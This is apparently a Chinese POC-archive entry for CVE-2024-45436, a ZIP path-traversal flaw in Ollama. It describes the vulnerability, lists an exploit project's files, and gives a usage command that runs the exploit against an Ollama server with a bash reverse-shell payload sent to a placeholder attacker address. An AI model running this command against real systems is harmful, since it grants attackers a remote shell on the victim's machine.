POC详情: 87198ac978e727b7f68ea3c62748b0f262c31af3

来源
关联漏洞
标题: Ollama 安全漏洞 (CVE-2024-45436)
描述:Ollama是Ollama开源的一个可以在本地启动并运行的大型语言模型。 Ollama 0.1.47之前版本存在安全漏洞,该漏洞源于extractFromZipFile函数可以提取父目录之外的ZIP存档成员。
描述
CVE-2024-45436
介绍
# CVE-2024-45436
CVE-2024-45436
Need to run under Linux, the environment needs to have gcc
Install golang, execute the following command to rebound the shell

```bash
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
```

Note: Exploitation may take several minutes, please be patient
文件快照

[4.0K] /data/pocs/87198ac978e727b7f68ea3c62748b0f262c31af3 ├── [ 67] go.mod ├── [ 173] go.sum ├── [5.2K] main.go └── [ 336] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。